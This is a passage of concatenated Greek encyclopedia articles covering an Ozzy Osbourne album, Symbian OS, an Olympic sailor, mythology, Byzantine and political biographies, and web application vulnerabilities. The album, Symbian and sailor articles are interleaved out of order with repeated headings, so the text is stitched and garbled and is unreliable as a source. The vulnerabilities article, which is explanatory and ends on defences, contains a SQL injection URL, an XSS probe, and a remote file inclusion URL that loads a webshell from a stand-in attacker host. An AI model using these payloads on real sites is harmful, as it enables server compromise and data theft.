πλήθους των χειρογράφων, αλλά και των πηγών που πρέπει να ανιχνευθούν, δεν στάθηκε μέχρι σήμερα δυνατή μία κριτική έκδοση του κειμένου αυτού, που ήταν ο κυριότερος κώδικας εκκλησιαστικού και ιδιωτικού δικαίου επί τουρκοκρατίας.
Πηγές
Κατηγορία:Έλληνες λόγιοι του 16ου αιώνα
Bark at the Moon
Bark at the Moon είναι ο τίτλος του τρίτου στούντιο δίσκου του βρετανού τραγουδιστή της χέβι μέταλ μουσικής, Ozzy Osbourne. Ο δίσκος ηχογραφήθηκε το 1983 και κυκλοφόρησε το Νοέμβριο της ίδιας χρονιάς, ενώ επανεκδόθηκε στις 25 Ιουνίου 2002 σε μορφή CD από την "Epic" με επιπλέον κομμάτια τα "Spiders" και "One up the 'B' Side".
Ιστορία του δίσκου
left|thumb|130px|Ο Osbourne το 1982 Το "Bark at the Moon" ηχογραφήθηκε στα "Ridge Farm Studios" του χωριού Νάρεϊ στο Σάσσεξ της Αγγλίας. Ήταν το πρώτο από τα δύο άλμπουμ του Osbourne στα οποία συμμετείχε ο κιθαρίστας Τζέικ Λι, αντικαθιστώντας τον αποθανόντα Ράντι Ρόουντς.
Το συγκεκριμένο άλμπουμ είναι το μοναδικό του οποίου όλα τα τραγούδια έγραψε αποκλειστικά ο Osbourne, σύμφωνα με τις σημειώσεις στο εσώφυλλο, αν και οι Λι και Ντέισλι έχει γίνει αργότερα γνωστό ότι συμμετείχαν στη συγγραφή των τραγουδιών, αλλά δεν αναφέρονται για νομικούς λόγους.
Οι εκδόσεις του άλμπουμ έχουν διαφορές μεταξύ τους, όπως η απουσία του κομματιού "Spiders" από την αμερικάνικη έκδοση, ενώ η αντίστοιχη ευρωπαϊκή δεν περιλαμβάνει το "Slow Down" και το κομμάτι "Centre of Eternity" ονομάζεται "Forever". Επίσης, η ολλανδική έκδοση ξεκινάει με το κομμάτι "Rock 'n' Roll Rebel", για να συνεχίσει με το "Βark at the Moon" και την αντίστοιχη σειρά κομματιών της ευρωπαϊκής έκδοσης.
Η εμπορική επιτυχία του δίσκου ήταν ανάλογη των προκατόχων του, αφού σκαρφάλωσε στο Top-20 του Billboard και έχει βραβευθεί ως τριπλά πλατινένιος. Στη Μεγάλη Βρετανία έφθασε στο # 24 και έγινε ασημένιος, ενώ μπήκε στο Top-10 των σουηδικών τσαρτ.
Τραγούδια
1. Bark at the Moon (Osbourne) - 4:17
2. You're No Different (Osbourne) - 5:49
3. Now You See It (Now You Don't) (Osbourne) - 5:10
4. Rock 'n' Roll Rebel (Osbourne) - 5:23
5. Centre of Eternity (Osbourne) - 5:15
6. So Tired (Osbourne) - 4:00
7. Slow Down (Osbourne) - 4:21
8. Waiting for Darkness (Osbourne) - 5:14
Symbian OS
Τo Symbian OS είναι λειτουργικό σύστημα για φορητές συσκευές, αποτελεί εξέλιξη του λειτουργικού συστήματος EPOC από την Psion. To Symbian OS δημιουργήθηκε με τη γλώσσα προγραμματισμού C++ από τη Symbian Ltd. Το λειτουργικό σύστημα Symbian OS «τρέχει» σε κινητά της Nokia, Sony Ericsson, Benq-Siemens, Samsung, Motorola, NTT DoCoMo. Επίσης στο Symbian OS έχουν βασιστεί αρκετές πλατφόρμες όπως Nokia Series 60, Series 80, Series 90, UIQ και η FOMA.
Bark at the Moon
Θέσεις τσαρτ
Επίσημη κυκλοφορία: 15 Νοεμβρίου 1983
Symbian OS
Ιστορια του Symbian OS
•	Το 1981, ιδρύεται η εταιρεία Psion από τον David Potter.
Bark at the Moon
Βραβεία
Bark at the Moon (άλμπουμ)
Symbian OS
Ιστορια του Symbian OS
•	Το 1992, η Psion λανσάρει τους υπολογιστές παλάμης Psion Series 3 με λειτουργικού σύστημα EPOC16 OS (αλλιώς SIBO), διατεθήκαν ως 1998.
•	Το 1997, λανσάρει υπολογιστές παλάμης Psion Series 3 με λειτουργικού σύστημα EPOC32.
•	Το 1999, ιδρύεται η εταιρεία Symbian από τις Ericsson, Nokia, Motorola και Psion.
•	Το 1999, διατίθεται το EPOC Release 5 OS, γνωστό και σαν Symbian OS 5.0.
•	Το 2000, διατίθεται το EPOC Release 5u OS (το γράμμα u έχει προέλθει από τη λέξη unicode), γνωστό και σαν Symbian OS 5.1.
•	Το 2001, διατίθεται το EPOC Release 6, γνωστό και σαν Symbian OS 6.0 και 6.1.
•	Το 2003, λανσάρει το Symbian OS 7.0 και 7.0s.
•	Το 2004, η Psion απορροφάται από τις εταιρείες που ανήκουν στον όμιλο Symbian. Διατίθενται οι εκδόσεις 8.0, 8.1a και 8.1b του Symbian OS. Η έκδοση 8.1b ήταν η πρώτη όπου ο πυρήνας χρησιμοποιούσε τον EKA2.
•	Το 2005, δημιουργείται το Symbian OS 9.0, το οποίο όμωςδεν δόθηκε σε δημόσια χρήση, αλλά χρησιμοποιήθηκε εσωτερικά από τη Symbian για λόγους δοκιμών. Αρχές του 2006 διατέθηκε στην αγορά το λειτουργικό σύστημα Symbian OS 9.1.
•	Το 2006, διατίθεται το λειτουργικό σύστημα Symbian OS 9.2, με κύρια νέα χαρακτηριστικά την υποστήριξη Bluetooth 2.0 (από 1.2 στην προηγούμενη έκδοση), OMA Device Management 1.2 (από 1.1.2) και βελτιώσεις στον προεγκατεστημένο web browser.
•	12 Ιουλίου 2006, διατίθεται το λειτουργικό Symbian OS 9.3, υποστηρίζει καλύτερη διαχείριση μνήμης, Wi-Fi 802.11. • Η έκδοση Symbian OS 9.5, ανακοινώθηκε για το Μάρτιο του 2007, οι εφαρμογές αναμένεται να ξεκινούν κατά 75% γρηγορότερα. Υποστηρίζει ψηφιακή τηλεόραση, μετάδοση σε DVB-Η και ISDB-T, και υποστηρίζει SQL μεσω του SQLite.
Bark at the Moon
Βραβεία
Ηνωμένο Βασίλειο (BPI Certification): Ασημένιος
Καναδάς (CRIA Certification): Πλατινένιος
Νίκος Κακλαμανάκης
Ο  Νίκος Κακλαμανάκης (Βάρκιζα Αττικής, 19 Αυγούστου 1968) είναι Έλληνας αθλητής της ιστιοπλοΐας και δύο φορές Ολυμπιονίκης.
Bark at the Moon
Τα μέλη του συγκροτήματος
Το Bark at the Moon ηχογραφήθηκε από τους εξής μουσικούς:
Νίκος Κακλαμανάκης
Γεννήθηκε στη Βάρκιζα στις 19 Αυγούστου 1968 και ξεκίνησε από πολύ μικρός την ιστιοπλοΐα και στην κατηγορία Μistral. Το 1986 συμμετέχει για πρώτη φορά σε διεθνή αγώνα και παίρνει την τρίτη θέση, στο Παγκόσμιο Πρωτάθλημα Μistral νέων. Το 1989 παίρνει τη δεύτερη θέση στο Ευρωπαϊκό πρωτάθλημα της Φινλανδίας. Στους Ολυμπιακούς Αγώνες της Βαρκελώνης παίρνει την ένατη θέση και στην Ατλάντα το 1996 κατακτά το χρυσό μετάλλιο, όπου παίρνει και την προσωνυμία γιος του ανέμου και ήταν και ο σημαιοφόρος της αποστολής. Στην επόμενη ολυμπιάδα το 2000 στο Σίδνεϊ πήρε την έκτη θέση και ήταν ο σημαιοφόρος της ελληνικής αποστολής. Το 2004 στην Αθήνα κατέκτησε το δεύτερο ολυμπιακό μετάλλιο, ασημένιο αυτή τη φορά. Μάλιστα, στην Ολυμπιάδα της Αθήνας ήταν αυτός που άναψε την ολυμπιακή φλόγα μέσα στο Ολυμπιακό Στάδιο. Το 1997 πάνω σε μια ιστιοσανίδα έκανε τον διάπλου του Αιγαίου από το Σούνιο στην Κρήτη σε δύο μέρες. Είναι αθλητής του Ν.Ο.Ε..
Bark at the Moon
Τα μέλη του συγκροτήματος
Όζι Όσμπορν - φωνητικά
Νίκος Κακλαμανάκης
Διεθνείς Τίτλοι
Ο Νίκος Κακλαμανάκης τελικά θα πάρει μέρος στους Ολυμπιακούς Αγώνες του Πεκίνου ύστερα από την πρόκριση του έναντι του Βύρωνα Κοκκαλάνη.
Εξωτερικοί σύνδεσμοι
Κατηγορία:Έλληνες αθλητές της ιστιοπλοΐας Κατηγορία:Ολυμπιονίκες της ιστιοπλοΐας Κατηγορία:Έλληνες Ολυμπιονίκες Κατηγορία:Έλληνες προπονητές ιστιοπλοΐας
Bark at the Moon
Τα μέλη του συγκροτήματος
Τζέικ Λι - κιθάρα
Τόμι Όλντριτζ - τύμπανα
Ντον Έρεϊ - πλήκτρα
Πηγές
Κατηγορία:Άλμπουμ του 1983 Κατηγορία:Άλμπουμ του Ozzy Osbourne
Γρηγόριος Μαλαξός
Ο Γρηγόριος Μαλαξός ήταν Έλληνας λόγιος του 16ου αιώνα.
Βιογραφικά στοιχεία
Γεννήθηκε στο Ναύπλιο και πιθανόν να ήταν συγγενής του Νικόλαου και του Μανουήλ.
Πηγές
Κατηγορία:Έλληνες λόγιοι του 16ου αιώνα Κατηγορία:Βιογραφία-επέκταση Κατηγορία:Εκκλησιαστικοί συγγραφείς
Λαίλαπα (μυθολογία)
Λαίλαπα ή Λαίλαψ ήταν το σκυλί που δημιούργησε ο Ήφαιστος για λογαριασμό του Δία.
Επικρατεί η άποψη ότι ήταν θηλυκό, μερικοί όμως θεωρούν ότι το σκυλί ήταν αρσενικό.
Από αρχαία νομίσματα μέχρι πίνακες και από αγάλματα μέχρι οικόσημα και εμβλήματα πόλεων, ο πιστός σκύλος με τις μαγικές ικανότητες στο κυνήγι απεικονίζεται να συντροφεύει το αφεντικό του Κέφαλο παντού.
Για τους αρχαίους Έλληνες, αρχικά «Λαίλαψ» ήταν ο Μέγας Κύων, ο αστερισμός που περιέχει τον Σείριο (εξ ου και το «Άλφα του Μεγάλου Κυνός» που επαναλάμβανε συχνά ο Μάνος Χατζιδάκις όταν αναφερόταν στην ομώνυμη δισκογραφική του εταιρεία).
Σύμφωνα με τον μύθο, ο Κέφαλος έδωσε τη Λαίλαπα στον βασιλιά Αμφιτρύωνα, στη Θήβα, προκειμένου να πιάσει μια αλεπού που κανείς δεν μπορούσε να πιάσει. Έτσι ένας σκύλος που πάντα έπιανε το θήραμά του, κυνηγούσε ένα θήραμα που ποτέ δεν μπορούσε να πιαστεί. Αφού αντιλήφθηκε ο Δίας ότι το κυνήγι θα ήταν αέναο, πέτρωσε και τα δύο ζώα και στη συνέχεια τα μετέτρεψε σε αστερισμούς. Η Λαίλαψ έγινε ο Μέγας Κύων και η αλεπού του Τευμησσού ο Μικρός.
Αργότερα οι δυο αυτοί αστερισμοί ταυτίστηκαν με δύο από τα κυνηγόσκυλα του Ωρίωνα.
Η πιο χαρακτηριστική απεικόνιση της Λαίλαπος είναι αυτή που εμφανίζεται στο αρχαίο κεφαλλονίτικο νόμισμα με τον Κέφαλο.
Εξωτερικοί Σύνδεσμοι
Κατηγορία:Όντα της ελληνικής μυθολογίας Κατηγορία:Μυθολογικοί σκύλοι
Νικουνάου
Η Νικουνάου είναι μια χαμηλή κοραλλιογενής νήσος στα Νησιά Γκίλμπερτ και αποτελεί δημοτικό διαμέρισμα της Δημοκρατίας του Κιριμπάτι. Η νήσος αποτελείται από δύο τμήματα (το μεγαλύτερο βρίσκεται στα βορειοδυτικά) που ενώνονται με έναν ισθμό πλάτους περίπου 150 μέτρων.
Υπάρχουν αρκετές εσώκλειστες, υπεραλμυρές λιμνοθάλασσες εντός της νήσου, με έκταση περίπου 0,3 χλμ². Η νήσος περιβάλλεται από έναν στενό περιβάλλοντα ύφαλο. Η βλάστηση στη νήσο Νικουνάου είναι μέτρια πυκνή και αποτελείται κατά το μεγαλύτερο μέρος από κοκοφοίνικες και πανδάνους.
Κατηγορία:Νησιά Γκίλμπερτ
Μαρία Κομνηνή (κόρη του Μανουήλ Α΄)
Η Μαρία Κομνηνή (π.1152 - π.1182) η πορφυρογέννητη ήταν κόρη του Μανουήλ Α' Κομνηνού, αυτοκράτορα των Ρωμαίων και της πρώτης συζύγου του Βέρθας (μετονομάστηκε σε Ειρήνη) του Ζούλτσμπαχ.
Ήταν το πρώτο παιδί του Μανουήλ Α' και γεννήθηκε στην Πορφύρα, στο δωμάτιο των Ανακτόρων της Κωνσταντινούπολης, πιθανότατα τον Μάρτιο του 1152. Το 1163 αρραβωνιάστηκε με τον μέλλοντα βασιλιά Μπέλα Γ΄ της Ουγγαρίας. Ο Μανουήλ Α', που δεν είχε ακόμη άρρεν τέκνο, τον προόριζε για διάδοχό του. Όμως το 1169 η δεύτερη σύζυγός του έκανε γιο και έτσι χάλασε η συμφωνία. Μετά αρραβώνιασε τη Μαρία με τον βασιλιά Γουλιέλμο B΄ της Σικελίας, μετά όμως χάλασε και αυτή τη συμφωνία. Το 1179 ο πατέρας της συμφώνησε να την παντρέψει με έναν γιο του μαρκήσιου Γουλιέλμου Ε΄ του Μομφερράτου. Ο μόνος ελεύθερος ήταν ο 5ος γιος, ο Ρενιέ. Ο γάμος έγινε τον Φεβρουάριο του 1180 στην Παναγία των Βλαχερνών και συνοδεύτηκε από πολυτελείς εκδηλώσεις και παιχνίδια στον Ιππόδρομο, όπως περιγράφει ο Γουλιέλμος της Τύρου, λατίνος πατριάρχης Ιεροσολύμων. Στον Ρενιέ του Μομφερράτου δόθηκε ο τίτλος του καίσαρα και (όπως αναφέρουν δυτικές πηγές) η Θεσσαλονίκη ως πρόνοια.
Το 1180 ο πατέρας της απεβίωσε και τον διαδέχθηκε ο ενδεκάχρονος αδελφός της Αλέξιος Β' με αντιβασίλισσα τη μητέρα του Μαρία της Αντιόχειας (μετονομάστηκε σε Ξένη). Τη δυσαρέσκεια των πολιτών για τον εραστή και τη φιλοδυτική πολιτική τής αντιβασίλισσας εκμεταλλεύθηκαν η Μαρία και ο Ρενιέ. Ενθάρρυναν μια στάση εναντίον της, με σκοπό τον εκτοπισμό της και ίσως και του Αλέξιου Β'. Όταν το σχέδιο ανακαλύφθηκε, συνελήφθησαν μερικοί από τους συμμετέχοντες, ενώ οι υπόλοιποι μαζί με τη Μαρία και τον Ρενιέ ζήτησαν άσυλο στην Αγία Σοφία. Μετά από πάλη μέσα στον ναό, συμφωνήθηκε αμνηστία. Η αντιβασίλισσα ενθάρρυνε την επιστροφή του Ανδρόνικου Κομνηνού από την εξορία για να τη βοηθήσει, όμως το 1182 την εκτόπισε αναλαμβάνοντας αυτός αντιβασιλιάς. Αμέσως μετά η Μαρία και ο Ρενιέ πέθαναν, μάλλον από δηλητήριο, αφού εμπόδιζαν τα σχέδια του Ανδόνικου να αναλάβει την εξουσία. Το 1183 έγινε βασιλιάς ως Ανδρόνικος Α'.
Ένας μεγαλύτερος αδελφός του Ρενιέ, ο Βονιφάτιος Α' του Μομφερράτου, έγινε από τους ηγέτες της Δ' Σταυροφορίας και μετά την άλωση της Κωνσταντινούπολης από τους σταυροφόρους το 1204 ίδρυσε το βασίλειο της Θεσσαλονίκης.
Πηγές
Κατηγορία:Βυζαντινοί σφετεριστές Κατηγορία:Βυζαντινοί του 12ου αιώνα Μαρια Κομνηνη Κατηγορία:Πορφυρογέννητες
Μορίς Έβανς (καλαθοσφαιριστής)
Κολλεγιακή σταδιοδρομία
Γεννημένος στην πόλη Ουίτσιτα, ο Μορίς Έβανς έκανε τα πρώτα του βήματα στο χώρο του μπάσκετ από το Ουίτσιτα Στέιτ, με τη μπασκετική ομάδα του οποίου αγωνίστηκε πρώτη φορά στο κολλεγιακό Πρωτάθλημα. Εξαιτίας της κακής σχέσης του με τον τότε προπονητή της Ουίτσιτα Στέιτ Ράντυ Σμίθσον, ο Μορίς Έβανς μεταπήδησε στο πανεπιστήμιο του Τέξας, στο οποίο παρέμεινε μέχρι το 2001, χρονιά κατά τη διάρκεια της οποίας και αποφοίτησε.
Επαγγελματική σταδιοδρομία
Το 2001, ο Μορίς Έβανς υπέγραψε το πρώτο του επαγγελματικό συμβόλαιο στους Μινεσότα Τίμπεργουλβς, ομάδα του ΝΒΑ, στους οποίους αγωνίστηκε για μόλις μία σεζόν.
Το καλοκαίρι του 2002, ο Έβανς άφησε για πρώτη φορά στην μέχρι τότε καριέρα του την Αμερική και ταξίδεψε στην Ευρώπη με προορισμό την Ελλάδα και συγκεκριμένα τον Ολυμπιακό Πειραιώς. Στην ελληνική ομάδα παρέμεινε για ένα χρόνο χωρίς ωστόσο να καταφέρει να κατακτήσει κάποιον από τους τίτλους που διεκδίκησε.
Το 2003 ταξίδεψε στη γειτονική Ιταλία και αγωνίστηκε για ένα χρόνο με τα χρώματα της Ιταλικής Μπενετον Τρεβίζο, με την οποία μάλιστα κατάφερε να κατακτήσει το Κύπελλο Ιταλίας της περιόδου 2003-04.
Το 2004, ο Μορίς Έβανς άφησε την Ιταλία και επέτρεψε στην Αμερική και το ΝΒΑ καθώς πήρε μεταγραφή στους Σακραμέντο Κινγκς, στους οποίους παρέμεινε για μία σεζόν.
Το καλοκαίρι του 2005 μεταπήδησε στους Ντιτρόιτ Πίστονς ενώ την αμέσως επόμενη σεζόν πήρε μεταγραφή στους Λος Άντζελες Λέικερς.
Στις 23 Φεβρουαρίου του 2011, ο Μορίς Έβανς υπέγραψε συμβόλαιο με τους Ουάσινγκτον Ουίζαρντς, στους οποίους παρέμεινε μέχρι και το τέλος της σεζόν 2011-12. Έκτοτε, είναι ελεύθερος και δεν έχει υπογράψει συμβόλαιο συνεργασίας με κανένα σύλλογο.
Πηγές
Κατηγορία:Αμερικανοί καλαθοσφαιριστές Κατηγορία:Καλαθοσφαιριστές Μινεσότα Τίμπεργουλβς Κατηγορία:Καλαθοσφαιριστές ΟΣΦΠ Κατηγορία:Καλαθοσφαιριστές Τρεβίζο Μπάσκετ Κατηγορία:Καλαθοσφαιριστές Σακραμέντο Κινγκς Κατηγορία:Καλαθοσφαιριστές Ντιτρόιτ Πίστονς Κατηγορία:Καλαθοσφαιριστές Λος Άντζελες Λέικερς Κατηγορία:Καλαθοσφαιριστές Ορλάντο Μάτζικ Κατηγορία:Καλαθοσφαιριστές Ατλάντα Χοκς Κατηγορία:Καλαθοσφαιριστές Ουάσινγκτον Ουίζαρντς Κατηγορία:Καλαθοσφαιριστές του NBA
Θεόδωρος Παπαθεοδώρου
Ο Θεόδωρος Παπαθεοδώρου είναι Έλληνας πολιτικός, νομικός, πρώην Υφυπουργός Παιδείας και Θρησκευμάτων, Πολιτισμού και Αθλητισμού στην Κυβέρνηση Σαμαρά και πανεπιστημιακός, Καθηγητής Αντεγκληματικής Πολιτικής του Πανεπιστημίου Πελοποννήσου και Επισκέπτης Καθηγητής της Νομικής Σχολής (Τμήματος Νομικής, Κατεύθυνσης Ελληνικού Δικαίου) του Ευρωπαϊκού Πανεπιστημίου Κύπρου. Είναι γεννημένος στην Πάτρα το 1965.
Σπουδές & σταδιοδρομία
Οι εγκύκλιες σπουδές του ολοκληρώθηκαν στο Πειραματικό Σχολείο Πατρών και στο Πρότυπο Κλασσικό Λύκειο Πατρών. Πήρε πτυχίο από την Νομική Σχολή του Πανεπιστημίου Αθηνών το 1986 και είναι κάτοχος του Μεταπτυχιακού Διπλώματος (DEA) των Ποινικών και Εγκληματολογικών Επιστημών του Πανεπιστημίου του Πουατιέ της Γαλλίας. Στο ίδιο Πανεπιστήμιο ανακηρύχθηκε Διδάκτορας Ποινικών και Εγκληματολογικών Επιστημών με το βαθμό "Άριστα" το έτος 1992 και έλαβε το Δίπλωμα Διεύθυνσης Ερευνών το 1992. Το 1994 έλαβε την Υποτροφία της Επιστημονικής Αριστείας από το Δίκτυο Γαλλόφωνων Πανεπιστημίων.
Το 1994 εξελέγη Λέκτορας του Ποινικού Δικαίου και των Εγκληματολογικών Επιστημών στη Νομική Σχολή του πανεπιστημίου της Λα Ροσέλ της Γαλλίας. Παράλληλα, από το 1995 μέχρι το 1998, διετέλεσε και Διευθυντής του Κέντρου Γαλλόφωνων Νομικών Σπουδών (στα γαλλικά: Centre d’ Études Juridiques Francophones) του ίδιου πανεπιστημίου και ακαδημαϊκός υπεύθυνος Διεθνών Σχέσεων του Πανεπιστημίου.
Από το 1999 μέχρι το 2003 δίδαξε στο Ιόνιο Πανεπιστήμιο και από το 2003 εκλέχτηκε μέλος ΔΕΠ του Τμήματος Κοινωνικής και Εκπαιδευτικής Πολιτικής του Πανεπιστημίου Πελοποννήσου με αντικείμενο «Συγκριτική Αντιεγκληματική Πολιτική». Έπειτα δίδαξε, από το ακαδημαϊκό έτος 2005-2006, ως Επισκέπτης Καθηγητής στα προγράμματα Μάστερς 2 (Masters ΙΙ) των γαλλικών Πανεπιστημίων του Πουατιέ, της Λα Ροσέλ και της Πω και έχει εκλεγεί ως Προσκεκλημένος Καθηγητής στη Νομική Σχολή του Πανεπιστημίου του Μπορντώ 4ος για τα ακαδημαϊκά έτη  2006-2007, 2007-2008, 2008-2009. 2009-2010 και 2010/2011. Κατά την περίοδο από 1/9/2008 έως 31/8/2010 υπήρξε και Πρόεδρος του Τμήματος της Κοινωνικής και της Εκπαιδευτικής Πολιτικής του Πανεπιστημίου Πελοποννήσου. Τον Δεκέμβριο του 2009 εξελέγη και Πρύτανης του Πανεπιστημίου Πελοποννήσου, ενώ από το 2014 είναι Επισκέπτης Καθηγητής της Νομικής Σχολής (Τμήματος Νομικής, Κατεύθυνσης Ελληνικού Δικαίου) του Ευρωπαϊκού Πανεπιστημίου Κύπρου, διδάσκοντας Αντεγκληματική Πολιτική και Δίκαιο Καταστάσεως Αλλοδαπών, Μεταναστεύσεως και Ασύλου
Έχει δημοσιεύσει πολλά άρθρα και για τις επιστημονικές μελέτες σε ελληνικά και διεθνή νομικά περιοδικά. Ιδιαίτερα, έχει ασχοληθεί στην Ελλάδα και σε ευρωπαϊκές χώρες όπως η Γαλλία και το Βέλγιο στα ζητήματα της εγκληματικότητας, της διεθνούς συνεργασίας και της αποκέντρωσης της αντιεγκληματικής πολιτικής, καθώς και πολλών εφαρμογών της μεταναστευτικής πολιτικής. Ο Θεόδωρος Παπαθεοδώρου είναι ένα από τα μέλη πολλών διεθνών και εθνικών επιστημονικών ενώσεων και οργανισμών και υπήρξε εμπειρογνώμονας στην Ευρωπαϊκή Επιτροπή. Μάλιστα, υπηρέτησε και ως εκπρόσωπος της Ελλάδας κατά την περίοδο των ετών 2000 και 2004 για τα θέματα ευρωπαϊκής διαπανεπιστημιακής συνεργασίας. Διετέλεσε Διευθυντής της Ευρωπαϊκής Ομάδας Έρευνας για την Ποινική Δικαιοσύνη από το 1997 έως 2008, μέλος των νομοπαρασκευαστικών Επιτροπών στους τομείς του επιστημονικού αντικειμένου του και εμπειρογνώμονας του Συμβουλίου της Ευρώπης για τα θέματα των ευρωπαϊκών πολιτικών και για την προστασία των δικαιωμάτων του παιδιού και τη λειτουργία της Δικαιοσύνης για τους ανήλικους. Τέλος, τη χρονιά 2003, η Γαλλική Δημοκρατία του απένειμε το παράσημο της Τάξης του Ακαδημαϊκού Φοίνικα.
Πηγές
Κατηγορία:Έλληνες υφυπουργοί Εθνικής Παιδείας και Θρησκευμάτων Κατηγορία:Έλληνες πανεπιστημιακοί Κατηγορία:Βουλευτές εκλεγμένοι με τη Δημοκρατική Συμπαράταξη Κατηγορία:Βουλευτές Αχαΐας Κατηγορία:Πρυτάνεις Ελληνικών Πανεπιστημίων
Ευπάθειες διαδικτυακών εφαρμογών
Οι διαδικτυακές εφαρμογές έχουν κάποιες ευπάθειες τις οποίες εκμεταλλεύονται οι hackers για να επιτύχουν πρόσβαση στους υπολογιστές που αυτές εκτελούνται.
Όταν εντοπιστεί μία ευπάθεια κάποιας εφαρμογής, τότε δημιουργείται ένα πρόγραμμα το οποίο ονομάζεται exploit που μπορεί να εκμεταλλευτεί τις ευπάθειες αυτές.
Τα exploits μπορούν να χρησιμοποιηθούν σε κάποιον χρήστη ή ακόμη κι από τον ίδιο τον server μέσω του οποίου μπορούν να συλλέξουν πληροφορίες, να αλλοιωθούν τα δεδομένα ή και να κάνουν επιθέσεις άρνησης υπηρεσιών (Denial-of-service, DoS) έτσι ώστε να μην μπορεί κάποιος να συνδεθεί στον server.
SQL injection
SQL injection είναι μία επίθεση που επιτρέπει στον hacker να αλλάξει ό,τι θέλει στην βάση δεδομένων ή και να πάρει πληροφορίες.
Αυτό γίνεται με το να δώσει σε κάποια σελίδα login ή γενικότερα δυναμικού περιεχομένου (όπως μια σελίδα PHP) δεδομένα που θα οδηγήσουν στην εκτέλεση των αντίστοιχων εντολών SQL.
Ακολουθεί ένα παράδειγμα SQL injection για την ανάκτηση πληροφοριών: http://www.victim.com/index.php?id=-45 union all select 1,2,3,4 from database
Cross-Site Scripting (XSS Injection)
Η επίθεση XSS γίνεται όταν ο hacker χρησιμοποιεί μία διαδικτυακή εφαρμογή για να στείλει κακόβουλο κώδικα (σε μορφή javascript) σε έναν άλλο χρήστη μέσω του server.
Η επίθεση αυτή μπορεί να χρησιμοποιηθεί σε οποιοδήποτε φόρμα του server με την προϋπόθεση ότι δεν κωδικοποιούνται τα δεδομένα που στέλνονται και ταυτόχρονα δεν γίνεται έλεγχος για κακόβουλο κώδικα από τον server. Μόλις λάβει ο χρήστης τον κώδικα αυτόν, ο browser δεν έχει τρόπο να καταλάβει ότι είναι κακόβουλος και έτσι τον τρέχει. Επειδή ο κώδικας προέρχεται από έμπιστη πηγή, μπορεί να έχει πρόσβαση σε cookies, session tokens, ή άλλες ευαίσθητες πληροφορίες του χρήστη.
Παράδειγμα: Στην αρχή ο hacker πρέπει να ελέγξει αν η σελίδα είναι ευπαθής σε XSS επιθέσεις και αυτό το κάνει με ένα απλό σενάριο (script) που δείχνει ένα παράθυρο μηνύματος (alert). alert("XSS!"); Αν βρει ότι είναι ευπαθής σε XSS επιθέσεις, φτιάχνει ένα script και το ανεβάζει στον server σε τέτοιο σημείο ώστε όταν το θύμα συνδεθεί στον server να τρέξει το script.
Remote File Inclusion (RFI)
Το RFI είναι μία τακτική με την οποία στέλνεται κώδικας από απομακρυσμένο σημείο σε κάποια τοπική εφαρμογή. Όταν ένας χρήστης εισάγει δεδομένα σε μία φόρμα, αυτά αποθηκεύονται σε ένα αρχείο, το οποίο γίνεται include σε ένα πρόγραμμα για να μπορεί να ανακτηθεί μετά. Σε αυτό το σημείο ο hacker μπορεί να μπερδέψει το πρόγραμμα και να βάλει έναν δικό του κώδικα από κάποιον απομακρυσμένο προορισμό.
Σχεδόν όλες οι web εφαρμογές υποστηρίζουν include για να αποθηκεύει απλό κώδικα έτσι ώστε να μπορεί να καλεστεί όποτε χρειάζεται.
Όταν αυτός ο κώδικας χρησιμοποιείται για HTTP requests, τότε συμπεραίνουμε ότι είναι ευπαθής σε RFI.
Υπάρχουν δύο τρόποι με τους οποίους μπορεί να χρησιμοποιηθεί το RFI:
Η γλώσσα που χρησιμοποιείται συνήθως είναι η PHP γιατί κάνει πολλά αρχεία include, κι επομένως η διαδικασία διευκολύνεται πολύ. Μία πολύ συνηθισμένη επίθεση είναι η εξής: http://www.target.com/vuln_page.php?color=http://www.attacker.com/webshell.txt? σε αυτή την περίπτωση έχουμε το webshell.txt που το τρέχουμε στην σελίδα http://www.target.com/vuln_page.php. Το webshell.txt είναι ένα αρχείο php με κακόβουλο κώδικα.
Μπορούν να χρησιμοποιηθούν και άλλοι μέθοδοι για να εκτελεστεί κάποιος κακόβουλος κώδικας στον server και αυτό γίνεται κυρίως μέσω των εντολών PHP.
Cross Site Request Forgery (CSRF)
Το CSRF είναι επίθεση που αναγκάζει τον τελικό χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια εφαρμογή δικτύου στην οποία είναι πιστοποιημένος.
Στέλνοντας κάποιον σύνδεσμο (μέσω email/chat), ο hacker μπορεί να αναγκάσει τους χρήστες να εκτελέσουν ενέργειες που που έχει επιλέξει.
Ο hacker μπορεί να στείλει τον σύνδεσμο στο θύμα και έτσι κάθε φορά που κάποιος πατάει τον σύνδεσμο, ο BILLY θα έχει 1000€ παραπάνω στον λογαριασμό του.
Προστασία
Οι ευπάθειες (exploits) υπάρχουν σε κάθε εφαρμογή - ορισμένοι hackers μάλιστα πληρώνονται από εταιρίες για να εντοπίσουν αυτές ακριβώς τις ευπάθειες στους εταιρικούς server. Αυτή η εργασία μπορεί να βοηθήσει τις εταιρίες να προστατευθούν καλύτερα από κακόβουλες επιθέσεις hacker (οι οποίοι ονομάζονται κράκερ, αγγλ. cracker, βλ. Χάκερ). Η δουλειά των hacker είναι να κάνουν Penetration Testing, να προσπαθούν δηλαδή με διάφορους τρόπους να πάρουν πρόσβαση στον server. Εφόσον το καταφέρουν, δίνουν αναλυτική αναφορά με τα πεπραγμένα τους έτσι ώστε να μπορεί η εταιρία να ασφαλίσει καλύτερα τον server του.
Για να προστατευτεί ο server από τέτοιες επιθέσεις υπάρχουν τα τείχη προστασίας διαδικτυακών εφαρμογών (Web Application Firewall, WAF), που δίνουν μια ολοκληρωμένη λύση για όλες τις γνωστές επιθέσεις που υπάρχουν.
Πηγές
Κατηγορία:Ασφάλεια υπολογιστών
Διαδραστικός πίνακας
μικρογραφία|329x329εσ| Διαμοιρασμός σημειώσεων σε διαδραστικό πίνακα. Ο διαδραστικός πίνακας (Interactive whiteboard) είναι ένα πολυμορφικό εργαλείο αφής που συναντάται ως μια αυτόνομη οθόνη με δικό της λειτουργικό σύστημα ή  συνδέεται με έναν υπολογιστή. Παλαιότερα μοντέλα συνδέονταν με ένα προβολικό (προτζέκτορα), αλλά πλέον έχουν ξεπεραστεί. Η συσκευή μπορεί να συνεισφέρει σημαντικά στην εκπαιδευτική διαδικασία, σε ομάδες εργασίας και επιχειρηματικές συναντήσεις. Η χρήση του είναι μέσω αφής και μπορεί να πραγματοποιηθεί από οποιονδήποτε χρήστη αλληλοεπιδρώντας με τα προβαλλόμενα αντικείμενα. Τα εξελιγμένα μοντέλα των διαδραστικών πινάκων έχουν ψηφιακό πληκτρολόγιο, ποντίκι και ενσωματωμένο υπολογιστή (OPS).